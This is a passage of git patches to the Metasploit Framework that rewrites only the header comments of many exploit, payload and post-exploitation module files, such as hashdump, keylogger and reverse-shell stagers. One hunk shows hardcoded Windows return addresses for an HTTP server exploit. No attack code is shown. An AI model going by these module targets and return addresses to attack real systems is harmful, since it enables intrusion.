b/modules/exploits/linux/upnp/miniupnpd_soap_bof.rb index b860987d72..5154798869 100644 --- a/modules/exploits/linux/upnp/miniupnpd_soap_bof.rb +++ b/modules/exploits/linux/upnp/miniupnpd_soap_bof.rb @@ -1,7 +1,6 @@ ## # This module requires Metasploit: http//metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework -# http://metasploit.com/ ## require 'msf/core' diff --git a/modules/exploits/multi/sap/sap_soap_rfc_sxpg_call_system_exec.rb b/modules/exploits/multi/sap/sap_soap_rfc_sxpg_call_system_exec.rb index 218e55b43e..a5a73f8f3e 100644 --- a/modules/exploits/multi/sap/sap_soap_rfc_sxpg_call_system_exec.rb +++ b/modules/exploits/multi/sap/sap_soap_rfc_sxpg_call_system_exec.rb @@ -1,7 +1,6 @@ ## # This module requires Metasploit: http//metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework -# http://metasploit.com/framework/ ## ## diff --git a/modules/exploits/multi/sap/sap_soap_rfc_sxpg_command_exec.rb b/modules/exploits/multi/sap/sap_soap_rfc_sxpg_command_exec.rb index 9c30c82e9e..2b32642ace 100755 --- a/modules/exploits/multi/sap/sap_soap_rfc_sxpg_command_exec.rb +++ b/modules/exploits/multi/sap/sap_soap_rfc_sxpg_command_exec.rb @@ -1,7 +1,6 @@ ## # This module requires Metasploit: http//metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework -# http://metasploit.com/framework/ ## ## diff --git a/modules/exploits/osx/local/sudo_password_bypass.rb b/modules/exploits/osx/local/sudo_password_bypass.rb index 4fc75b36f8..a083ff1673 100644 --- a/modules/exploits/osx/local/sudo_password_bypass.rb +++ b/modules/exploits/osx/local/sudo_password_bypass.rb @@ -2,7 +2,6 @@ # This module requires Metasploit: http//metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework # -# http://metasploit.com/ ## require 'msf/core' require 'rex' diff --git a/modules/exploits/unix/webapp/php_include.rb b/modules/exploits/unix/webapp/php_include.rb index 7e8fe19b69..db1ec7d440 100644 --- a/modules/exploits/unix/webapp/php_include.rb +++ b/modules/exploits/unix/webapp/php_include.rb @@ -1,7 +1,6 @@ ## # This module requires Metasploit: http//metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework -# http://metasploit.com/ ## require 'msf/core' diff --git a/modules/exploits/windows/ftp/freefloatftp_user.rb b/modules/exploits/windows/ftp/freefloatftp_user.rb index 834f0e1dfe..959c94b5ed 100644 --- a/modules/exploits/windows/ftp/freefloatftp_user.rb +++ b/modules/exploits/windows/ftp/freefloatftp_user.rb @@ -1,7 +1,6 @@ ## # This module requires Metasploit: http//metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework -# http://metasploit.com/framework/ ## require 'msf/core' diff --git a/modules/exploits/windows/ftp/sami_ftpd_list.rb b/modules/exploits/windows/ftp/sami_ftpd_list.rb index f6d8b2f155..087cc93c15 100644 --- a/modules/exploits/windows/ftp/sami_ftpd_list.rb +++ b/modules/exploits/windows/ftp/sami_ftpd_list.rb @@ -1,7 +1,6 @@ ## # This module requires Metasploit: http//metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework -# http://metasploit.com/framework/ ## require 'msf/core' diff --git a/modules/exploits/windows/http/shttpd_post.rb b/modules/exploits/windows/http/shttpd_post.rb index 48774a6034..b0547d8e19 100644 --- a/modules/exploits/windows/http/shttpd_post.rb +++ b/modules/exploits/windows/http/shttpd_post.rb @@ -37,7 +37,6 @@ class Metasploit3 < Msf::Exploit::Remote 'Targets' => [ # Except for Spanish locale target, all come from: - # http://metasploit.com/users/opcode/msfopcode.cgi [ 'Windows NT English SP5-SP6', { 'Ret' => 0x776a183a } ], [ 'Windows 2000 Spanish SP4', { 'Ret' => 0x79496391 } ], [ 'Windows 2000 French SP4', { 'Ret' => 0x74fb108d } ], diff --git a/modules/payloads/stagers/android/reverse_tcp.rb b/modules/payloads/stagers/android/reverse_tcp.rb index 0f492bae0c..8d634ccfaa 100644 --- a/modules/payloads/stagers/android/reverse_tcp.rb +++ b/modules/payloads/stagers/android/reverse_tcp.rb @@ -1,7 +1,6 @@ ## # This module requires Metasploit: http//metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework -# http://metasploit.com/ ## require 'msf/core' diff --git a/modules/payloads/stages/android/meterpreter.rb b/modules/payloads/stages/android/meterpreter.rb index a1a53634fa..0aa648e08e 100644 --- a/modules/payloads/stages/android/meterpreter.rb +++ b/modules/payloads/stages/android/meterpreter.rb @@ -1,7 +1,6 @@ ## # This module requires Metasploit: http//metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework -# http://metasploit.com/ ## require 'msf/core' diff --git a/modules/payloads/stages/android/shell.rb b/modules/payloads/stages/android/shell.rb index 96a8041693..7c6e90a6ae 100644 --- a/modules/payloads/stages/android/shell.rb +++ b/modules/payloads/stages/android/shell.rb @@ -2,7 +2,6 @@ ## # This module requires Metasploit: http//metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework -# http://metasploit.com/ ## require 'msf/core' diff --git a/modules/post/windows/gather/dnscache_dump.rb b/modules/post/windows/gather/dnscache_dump.rb index 728b1aefe3..8429e4a452 100644 --- a/modules/post/windows/gather/dnscache_dump.rb +++ b/modules/post/windows/gather/dnscache_dump.rb @@ -1,7 +1,6 @@ ## # This module requires Metasploit: http//metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework -# http://metasploit.com/framework/ ## class Metasploit3 < Msf::Post diff --git a/modules/post/windows/gather/forensics/recovery_files.rb b/modules/post/windows/gather/forensics/recovery_files.rb index 3123045dfd..46516df798 100644 --- a/modules/post/windows/gather/forensics/recovery_files.rb +++ b/modules/post/windows/gather/forensics/recovery_files.rb @@ -1,7 +1,6 @@ ## # This module requires Metasploit: http//metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework -# http://metasploit.com/framework/ ## class Metasploit3 < Msf::Post diff --git a/modules/post/windows/manage/pptp_tunnel.rb b/modules/post/windows/manage/pptp_tunnel.rb index 3d51ed32e3..9b370683fd 100644 --- a/modules/post/windows/manage/pptp_tunnel.rb +++ b/modules/post/windows/manage/pptp_tunnel.rb @@ -1,7 +1,6 @@ ## # This module requires Metasploit: http//metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework -# http://metasploit.com/framework/ ## class Metasploit3 < Msf::Post From 5d86ab4ab84627d1e3e84535e15d3dadf9ec829d Mon Sep 17 00:00:00 2001 From: Tod Beardsley Date: Tue, 15 Oct 2013 14:52:12 -0500 Subject: [PATCH 190/409] Catch mis-formatted bracket comments. --- modules/auxiliary/gather/dns_bruteforce.rb | 2 +- modules/auxiliary/gather/dns_info.rb | 3 ++- modules/auxiliary/gather/dns_reverse_lookup.rb | 2 +- modules/auxiliary/gather/dns_srv_enum.rb | 2 +- modules/exploits/windows/local/payload_inject.rb | 2 +- modules/exploits/windows/local/persistence.rb | 2 +- modules/exploits/windows/local/s4u_persistence.rb | 2 +- modules/payloads/singles/java/jsp_shell_bind_tcp.rb | 4 ++-- modules/payloads/singles/java/jsp_shell_reverse_tcp.rb | 4 ++-- modules/post/aix/hashdump.rb | 2 +- modules/post/linux/gather/checkvm.rb | 2 +- modules/post/linux/gather/enum_network.rb | 2 +- modules/post/linux/gather/enum_users_history.rb | 2 +- modules/post/linux/gather/hashdump.rb | 2 +- modules/post/multi/gather/dns_bruteforce.rb | 2 +- modules/post/multi/gather/dns_reverse_lookup.rb | 2 +- modules/post/multi/gather/dns_srv_lookup.rb | 2 +- modules/post/multi/gather/multi_command.rb | 2 +- modules/post/multi/gather/ping_sweep.rb | 2 +- modules/post/multi/gather/run_console_rc_file.rb | 2 +- modules/post/multi/gather/skype_enum.rb | 2 +- modules/post/multi/manage/multi_post.rb | 2 +- modules/post/multi/manage/sudo.rb | 2 +- modules/post/multi/manage/system_session.rb | 2 +- modules/post/osx/gather/enum_osx.rb | 2 +- modules/post/osx/gather/hashdump.rb | 2 +- modules/post/solaris/gather/checkvm.rb | 2 +- modules/post/solaris/gather/enum_packages.rb | 2 +- modules/post/solaris/gather/enum_services.rb | 2 +- modules/post/solaris/gather/hashdump.rb | 2 +- modules/post/windows/capture/keylog_recorder.rb | 2 +- modules/post/windows/gather/arp_scanner.rb | 2 +- .../post/windows/gather/credentials/credential_collector.rb | 2 +- modules/post/windows/gather/dumplinks.rb | 2 +- modules/post/windows/gather/enum_ad_computers.rb | 2 +- modules/post/windows/gather/enum_computers.rb | 2 +- modules/post/windows/gather/enum_db.rb | 2 +- modules/post/windows/gather/enum_domain_group_users.rb | 2 +- modules/post/windows/gather/enum_domain_tokens.rb | 2 +- modules/post/windows/gather/enum_snmp.rb | 2 +- modules/post/windows/gather/enum_tomcat.rb | 2 +- modules/post/windows/gather/forensics/duqu_check.rb | 2 +- modules/post/windows/gather/smart_hashdump.rb | 2 +- modules/post/windows/gather/tcpnetstat.rb | 2 +- modules/post/windows/gather/usb_history.rb | 2 +- modules/post/windows/gather/wmic_command.rb | 2 +- modules/post/windows/manage/add_user_domain.rb | 2 +- modules/post/windows/manage/autoroute.rb | 2 +- modules/post/windows/manage/migrate.rb | 2 +- modules/post/windows/manage/multi_meterpreter_inject.rb | 2 +- modules/post/windows/manage/payload_inject.rb | 2 +- modules/post/windows/manage/persistence.rb | 2 +- modules/post/windows/manage/reflective_dll_inject.rb | 2 +- modules/post/windows/manage/smart_migrate.rb | 2 +- tools/dev/resplat.rb | 2 +- 55 files changed, 58 insertions(+), 57 deletions(-) diff --git a/modules/auxiliary/gather/dns_bruteforce.rb b/modules/auxiliary/gather/dns_bruteforce.rb index 8d3a3c5cb8..b4bfc35d50 100644 --- a/modules/auxiliary/gather/dns_bruteforce.rb +++ b/modules/auxiliary/gather/dns_bruteforce.rb @@ -1,5 +1,5 @@ ## -# ## This file is part of the Metasploit Framework and may be subject to +# This module requires Metasploit: http//metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/gather/dns_info.rb b/modules/auxiliary/gather/dns_info.rb index 3a557038d6..cb9b993cc6 100644 --- a/modules/auxiliary/gather/dns_info.rb +++ b/modules/auxiliary/gather/dns_info.rb @@ -1,5 +1,6 @@ ## -# ## This file is part of the Metasploit Framework and may be subject to +## +# This module requires Metasploit: http//metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/gather/dns_reverse_lookup.rb b/modules/auxiliary/gather/dns_reverse_lookup.rb index 530fb49527..dc0b0167d2 100644 --- a/modules/auxiliary/gather/dns_reverse_lookup.rb +++ b/modules/auxiliary/gather/dns_reverse_lookup.rb @@ -1,5 +1,5 @@ ## -# ## This file is part of the Metasploit Framework and may be subject to +# This module requires Metasploit: http//metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/gather/dns_srv_enum.rb b/modules/auxiliary/gather/dns_srv_enum.rb index 47af0ed4b7..eb43898516 100644 --- a/modules/auxiliary/gather/dns_srv_enum.rb +++ b/modules/auxiliary/gather/dns_srv_enum.rb @@ -1,5 +1,5 @@ ## -# ## This file is part of the Metasploit Framework and may be subject to +# This module requires Metasploit: http//metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/local/payload_inject.rb b/modules/exploits/windows/local/payload_inject.rb index 2e81b4f7f7..655e2ae244 100644 --- a/modules/exploits/windows/local/payload_inject.rb +++ b/modules/exploits/windows/local/payload_inject.rb @@ -1,5 +1,5 @@ ## -# ## This file is part of the Metasploit Framework and may be subject to +# This module requires Metasploit: http//metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/local/persistence.rb b/modules/exploits/windows/local/persistence.rb index ac302e85ba..811b1190a3 100644 --- a/modules/exploits/windows/local/persistence.rb +++ b/modules/exploits/windows/local/persistence.rb @@ -1,5 +1,5 @@ ## -# ## This file is part of the Metasploit Framework and may be subject to +# This module requires Metasploit: http//metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/local/s4u_persistence.rb b/modules/exploits/windows/local/s4u_persistence.rb index d75dbd0235..f77892696a 100644 --- a/modules/exploits/windows/local/s4u_persistence.rb +++ b/modules/exploits/windows/local/s4u_persistence.rb @@ -1,5 +1,5 @@ ## -# ## This file is part of the Metasploit Framework and may be subject to +# This module requires Metasploit: http//metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/payloads/singles/java/jsp_shell_bind_tcp.rb b/modules/payloads/singles/java/jsp_shell_bind_tcp.rb index 5a532bb7ec..0996f66a33 100644 --- a/modules/payloads/singles/java/jsp_shell_bind_tcp.rb +++ b/modules/payloads/singles/java/jsp_shell_bind_tcp.rb @@ -1,6 +1,6 @@ ## -# This file in part of the Metasploit Framework and may be subject to -# redintribution and commercial restrictions. Please see the Metasploit +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/payloads/singles/java/jsp_shell_reverse_tcp.rb b/modules/payloads/singles/java/jsp_shell_reverse_tcp.rb index 3f8103141b..2ab7bac8ef 100644 --- a/modules/payloads/singles/java/jsp_shell_reverse_tcp.rb +++ b/modules/payloads/singles/java/jsp_shell_reverse_tcp.rb @@ -1,6 +1,6 @@ ## -# This file in part of the Metasploit Framework and may be subject to -# redintribution and commercial restrictions. Please see the Metasploit +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/post/aix/hashdump.rb b/modules/post/aix/hashdump.rb index 3e0ecef30c..d2b0659116 100644 --- a/modules/post/aix/hashdump.rb +++ b/modules/post/aix/hashdump.rb @@ -1,5 +1,5 @@ ## -# ## This file is part of the Metasploit Framework and may be subject to +# This module requires Metasploit: http//metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/post/linux/gather/checkvm.rb b/modules/post/linux/gather/checkvm.rb index ae9498822f..e35ccbb7f5 100644 --- a/modules/post/linux/gather/checkvm.rb +++ b/modules/post/linux/gather/checkvm.rb @@ -1,5 +1,5 @@ ## -# ## This file is part of the Metasploit Framework and may be subject to +# This module requires Metasploit: http//metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/post/linux/gather/enum_network.rb b/modules/post/linux/gather/enum_network.rb index f6625ed88c..52d0ddfd74 100644 --- a/modules/post/linux/gather/enum_network.rb +++ b/modules/post/linux/gather/enum_network.rb @@ -1,5 +1,5 @@ ## -# ## This file is part of the Metasploit Framework and may be subject to +# This module requires Metasploit: http//metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/post/linux/gather/enum_users_history.rb b/modules/post/linux/gather/enum_users_history.rb index f536229d11..c49f88f58d 100644 --- a/modules/post/linux/gather/enum_users_history.rb +++ b/modules/post/linux/gather/enum_users_history.rb @@ -1,5 +1,5 @@ ## -# ## This file is part of the Metasploit Framework and may be subject to +# This module requires Metasploit: http//metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/post/linux/gather/hashdump.rb b/modules/post/linux/gather/hashdump.rb index f4daaebe00..7c8497bf63 100644 --- a/modules/post/linux/gather/hashdump.rb +++ b/modules/post/linux/gather/hashdump.rb @@ -1,5 +1,5 @@ ## -# ## This file is part of the Metasploit Framework and may be subject to +# This module requires Metasploit: http//metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/post/multi/gather/dns_bruteforce.rb b/modules/post/multi/gather/dns_bruteforce.rb index 832a941a06..0212bc1406 100644 --- a/modules/post/multi/gather/dns_bruteforce.rb +++ b/modules/post/multi/gather/dns_bruteforce.rb @@ -1,5 +1,5 @@ ## -# ## This file is part of the Metasploit Framework and may be subject to +# This module requires Metasploit: http//metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/post/multi/gather/dns_reverse_lookup.rb b/modules/post/multi/gather/dns_reverse_lookup.rb index ca2e3aad79..52a9d94de1 100644 --- a/modules/post/multi/gather/dns_reverse_lookup.rb +++ b/modules/post/multi/gather/dns_reverse_lookup.rb @@ -1,5 +1,5 @@ ## -# ## This file is part of the Metasploit Framework and may be subject to +# This module requires Metasploit: http//metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/post/multi/gather/dns_srv_lookup.rb b/modules/post/multi/gather/dns_srv_lookup.rb index 4605d519b1..7715e6cfbe 100644 --- a/modules/post/multi/gather/dns_srv_lookup.rb +++ b/modules/post/multi/gather/dns_srv_lookup.rb @@ -1,5 +1,5 @@ ## -# ## This file is part of the Metasploit Framework and may be subject to +# This module requires Metasploit: http//metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/post/multi/gather/multi_command.rb b/modules/post/multi/gather/multi_command.rb index 227e763000..8f8966ce45 100644 --- a/modules/post/multi/gather/multi_command.rb +++ b/modules/post/multi/gather/multi_command.rb @@ -1,5 +1,5 @@ ## -# ## This file is part of the Metasploit Framework and may be subject to +# This module requires Metasploit: http//metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/post/multi/gather/ping_sweep.rb b/modules/post/multi/gather/ping_sweep.rb index 64a3012171..ba5ee2cbcf 100644 --- a/modules/post/multi/gather/ping_sweep.rb +++ b/modules/post/multi/gather/ping_sweep.rb @@ -1,5 +1,5 @@ ## -# ## This file is part of the Metasploit Framework and may be subject to +# This module requires Metasploit: http//metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/post/multi/gather/run_console_rc_file.rb b/modules/post/multi/gather/run_console_rc_file.rb index bd746d9a47..d85b19bc7c 100644 --- a/modules/post/multi/gather/run_console_rc_file.rb +++ b/modules/post/multi/gather/run_console_rc_file.rb @@ -1,5 +1,5 @@ ## -# ## This file is part of the Metasploit Framework and may be subject to +# This module requires Metasploit: http//metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/post/multi/gather/skype_enum.rb b/modules/post/multi/gather/skype_enum.rb index 076cfee7a0..eb73d0180d 100644 --- a/modules/post/multi/gather/skype_enum.rb +++ b/modules/post/multi/gather/skype_enum.rb @@ -1,5 +1,5 @@ ## -# ## This file is part of the Metasploit Framework and may be subject to +# This module requires Metasploit: http//metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/post/multi/manage/multi_post.rb b/modules/post/multi/manage/multi_post.rb index 4bf4fa9fef..04af30f53b 100644 --- a/modules/post/multi/manage/multi_post.rb +++ b/modules/post/multi/manage/multi_post.rb @@ -1,5 +1,5 @@ ## -# ## This file is part of the Metasploit Framework and may be subject to +# This module requires Metasploit: http//metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/post/multi/manage/sudo.rb b/modules/post/multi/manage/sudo.rb index 5f428936ef..da590498d3 100644 --- a/modules/post/multi/manage/sudo.rb +++ b/modules/post/multi/manage/sudo.rb @@ -1,5 +1,5 @@ ## -# ## This file is part of the Metasploit Framework and may be subject to +# This module requires Metasploit: http//metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/post/multi/manage/system_session.rb b/modules/post/multi/manage/system_session.rb index 15c8a1c324..e12423f668 100644 --- a/modules/post/multi/manage/system_session.rb +++ b/modules/post/multi/manage/system_session.rb @@ -1,5 +1,5 @@ ## -# ## This file is part of the Metasploit Framework and may be subject to +# This module requires Metasploit: http//metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/post/osx/gather/enum_osx.rb b/modules/post/osx/gather/enum_osx.rb index b72e9c33ce..ac943db0e7 100644 --- a/modules/post/osx/gather/enum_osx.rb +++ b/modules/post/osx/gather/enum_osx.rb @@ -1,5 +1,5 @@ ## -# ## This file is part of the Metasploit Framework and may be subject to +# This module requires Metasploit: http//metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/post/osx/gather/hashdump.rb b/modules/post/osx/gather/hashdump.rb index af7bef90ea..5314aaf39c 100644 --- a/modules/post/osx/gather/hashdump.rb +++ b/modules/post/osx/gather/hashdump.rb @@ -1,5 +1,5 @@ ## -# ## This file is part of the Metasploit Framework and may be subject to +# This module requires Metasploit: http//metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/post/solaris/gather/checkvm.rb b/modules/post/solaris/gather/checkvm.rb index e62e55b29f..8dd9b11521 100644 --- a/modules/post/solaris/gather/checkvm.rb +++ b/modules/post/solaris/gather/checkvm.rb @@ -1,5 +1,5 @@ ## -# ## This file is part of the Metasploit Framework and may be subject to +# This module requires Metasploit: http//metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/post/solaris/gather/enum_packages.rb b/modules/post/solaris/gather/enum_packages.rb index f394f63e52..61e5922372 100644 --- a/modules/post/solaris/gather/enum_packages.rb +++ b/modules/post/solaris/gather/enum_packages.rb @@ -1,5 +1,5 @@ ## -# ## This file is part of the Metasploit Framework and may be subject to +# This module requires Metasploit: http//metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/post/solaris/gather/enum_services.rb b/modules/post/solaris/gather/enum_services.rb index 71ff8a1ff1..f58df1ad23 100644 --- a/modules/post/solaris/gather/enum_services.rb +++ b/modules/post/solaris/gather/enum_services.rb @@ -1,5 +1,5 @@ ## -# ## This file is part of the Metasploit Framework and may be subject to +# This module requires Metasploit: http//metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/post/solaris/gather/hashdump.rb b/modules/post/solaris/gather/hashdump.rb index 48fd047d28..bf30085902 100644 --- a/modules/post/solaris/gather/hashdump.rb +++ b/modules/post/solaris/gather/hashdump.rb @@ -1,5 +1,5 @@ ## -# ## This file is part of the Metasploit Framework and may be subject to +# This module requires Metasploit: http//metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/post/windows/capture/keylog_recorder.rb b/modules/post/windows/capture/keylog_recorder.rb index f29602d03f..4170c90aa4 100644 --- a/modules/post/windows/capture/keylog_recorder.rb +++ b/modules/post/windows/capture/keylog_recorder.rb @@ -1,5 +1,5 @@ ## -# ## This file is part of the Metasploit Framework and may be subject to +# This module requires Metasploit: http//metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/post/windows/gather/arp_scanner.rb b/modules/post/windows/gather/arp_scanner.rb index f2bc86f46b..9df2666116 100644 --- a/modules/post/windows/gather/arp_scanner.rb +++ b/modules/post/windows/gather/arp_scanner.rb @@ -1,5 +1,5 @@ ## -# ## This file is part of the Metasploit Framework and may be subject to +# This module requires Metasploit: http//metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/post/windows/gather/credentials/credential_collector.rb b/modules/post/windows/gather/credentials/credential_collector.rb index 0271591700..a2d433c632 100644 --- a/modules/post/windows/gather/credentials/credential_collector.rb +++ b/modules/post/windows/gather/credentials/credential_collector.rb @@ -1,5 +1,5 @@ ## -# ## This file is part of the Metasploit Framework and may be subject to +# This module requires Metasploit: http//metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/post/windows/gather/dumplinks.rb b/modules/post/windows/gather/dumplinks.rb index 9488fdc49f..a30e887857 100644 --- a/modules/post/windows/gather/dumplinks.rb +++ b/modules/post/windows/gather/dumplinks.rb @@ -1,5 +1,5 @@ ## -# ## This file is part of the Metasploit Framework and may be subject to +# This module requires Metasploit: http//metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/post/windows/gather/enum_ad_computers.rb b/modules/post/windows/gather/enum_ad_computers.rb index 56bd975b74..163c6b6c69 100644 --- a/modules/post/windows/gather/enum_ad_computers.rb +++ b/modules/post/windows/gather/enum_ad_computers.rb @@ -1,5 +1,5 @@ ## -# ## This file is part of the Metasploit Framework and may be subject to +# This module requires Metasploit: http//metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/post/windows/gather/enum_computers.rb b/modules/post/windows/gather/enum_computers.rb index 52cc393216..5c85a33191 100644 --- a/modules/post/windows/gather/enum_computers.rb +++ b/modules/post/windows/gather/enum_computers.rb @@ -1,5 +1,5 @@ ## -# ## This file is part of the Metasploit Framework and may be subject to +# This module requires Metasploit: http//metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/post/windows/gather/enum_db.rb b/modules/post/windows/gather/enum_db.rb index 4e2f94ab22..8160a19af3 100644 --- a/modules/post/windows/gather/enum_db.rb +++ b/modules/post/windows/gather/enum_db.rb @@ -1,5 +1,5 @@ ## -# ## This file is part of the Metasploit Framework and may be subject to +# This module requires Metasploit: http//metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/post/windows/gather/enum_domain_group_users.rb b/modules/post/windows/gather/enum_domain_group_users.rb index 58e4dc52ea..0f476149d8 100644 --- a/modules/post/windows/gather/enum_domain_group_users.rb +++ b/modules/post/windows/gather/enum_domain_group_users.rb @@ -1,5 +1,5 @@ ## -# ## This file is part of the Metasploit Framework and may be subject to +# This module requires Metasploit: http//metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/post/windows/gather/enum_domain_tokens.rb b/modules/post/windows/gather/enum_domain_tokens.rb index b7512c4f90..03328b2f98 100644 --- a/modules/post/windows/gather/enum_domain_tokens.rb +++ b/modules/post/windows/gather/enum_domain_tokens.rb @@ -1,5 +1,5 @@ ## -# ## This file is part of the Metasploit Framework and may be subject to +# This module requires Metasploit: http//metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/post/windows/gather/enum_snmp.rb b/modules/post/windows/gather/enum_snmp.rb index ca23fe04df..ab74be16e4 100644 --- a/modules/post/windows/gather/enum_snmp.rb +++ b/modules/post/windows/gather/enum_snmp.rb @@ -1,5 +1,5 @@ ## -# ## This file is part of the Metasploit Framework and may be subject to +# This module requires Metasploit: http//metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/post/windows/gather/enum_tomcat.rb b/modules/post/windows/gather/enum_tomcat.rb index f30d6e8436..6c90522b76 100644 --- a/modules/post/windows/gather/enum_tomcat.rb +++ b/modules/post/windows/gather/enum_tomcat.rb @@ -1,5 +1,5 @@ ## -# ## This file is part of the Metasploit Framework and may be subject to +# This module requires Metasploit: http//metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/post/windows/gather/forensics/duqu_check.rb b/modules/post/windows/gather/forensics/duqu_check.rb index cd95f7fc23..a761c8a6dc 100644 --- a/modules/post/windows/gather/forensics/duqu_check.rb +++ b/modules/post/windows/gather/forensics/duqu_check.rb @@ -1,5 +1,5 @@ ## -# ## This file is part of the Metasploit Framework and may be subject to +# This module requires Metasploit: http//metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/post/windows/gather/smart_hashdump.rb b/modules/post/windows/gather/smart_hashdump.rb index 36f1da8b18..9d3ceb7252 100644 --- a/modules/post/windows/gather/smart_hashdump.rb +++ b/modules/post/windows/gather/smart_hashdump.rb @@ -1,5 +1,5 @@ ## -# ## This file is part of the Metasploit Framework and may be subject to +# This module requires Metasploit: http//metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/post/windows/gather/tcpnetstat.rb b/modules/post/windows/gather/tcpnetstat.rb index 6a2e38cadd..d260ee0a52 100644 --- a/modules/post/windows/gather/tcpnetstat.rb +++ b/modules/post/windows/gather/tcpnetstat.rb @@ -1,5 +1,5 @@ ## -# ## This file is part of the Metasploit Framework and may be subject to +# This module requires Metasploit: http//metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/post/windows/gather/usb_history.rb b/modules/post/windows/gather/usb_history.rb index 503229b5b6..334bd81243 100644 --- a/modules/post/windows/gather/usb_history.rb +++ b/modules/post/windows/gather/usb_history.rb @@ -1,5 +1,5 @@ ## -# ## This file is part of the Metasploit Framework and may be subject to +# This module requires Metasploit: http//metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/post/windows/gather/wmic_command.rb b/modules/post/windows/gather/wmic_command.rb index 70822d73ff..e178d18936 100644 --- a/modules/post/windows/gather/wmic_command.rb +++ b/modules/post/windows/gather/wmic_command.rb @@ -1,5 +1,5 @@ ## -# ## This file is part of the Metasploit Framework and may be subject to +# This module requires Metasploit: http//metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/post/windows/manage/add_user_domain.rb b/modules/post/windows/manage/add_user_domain.rb index 64a73f3ba4..0129db3ff3 100644 --- a/modules/post/windows/manage/add_user_domain.rb +++ b/modules/post/windows/manage/add_user_domain.rb @@ -1,5 +1,5 @@ ## -# ## This file is part of the Metasploit Framework and may be subject to +# This module requires Metasploit: http//metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/post/windows/manage/autoroute.rb b/modules/post/windows/manage/autoroute.rb index ba9198047b..86b38a9522 100644 --- a/modules/post/windows/manage/autoroute.rb +++ b/modules/post/windows/manage/autoroute.rb @@ -1,5 +1,5 @@ ## -# ## This file is part of the Metasploit Framework and may be subject to +# This module requires Metasploit: http//metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/post/windows/manage/migrate.rb b/modules/post/windows/manage/migrate.rb index 25e5350aa6..68cc4767ae 100644 --- a/modules/post/windows/manage/migrate.rb +++ b/modules/post/windows/manage/migrate.rb @@ -1,5 +1,5 @@ ## -# ## This file is part of the Metasploit Framework and may be subject to +# This module requires Metasploit: http//metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git 